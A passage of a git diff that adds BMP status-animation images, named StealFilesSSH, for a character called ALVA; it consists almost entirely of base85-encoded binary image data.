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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH13.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH13.bmp new file mode 100644 index 0000000000000000000000000000000000000000..68fe849175c9178c33154c3a74120c5a120abe23 GIT binary patch literal 18462 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 VP%z&^`Mi@2|{(pP^0lxqM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH2.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c7b26b5b06e683e2312d59826244541d48104536 GIT binary patch literal 18462 zcmeI21$Y}tmiXtsTS07yW9?{Codi!aFkYtr9`l|&|!$Rr|}cyx8Lb$PH%+?^qAkDtF8Ios?fZuXpS 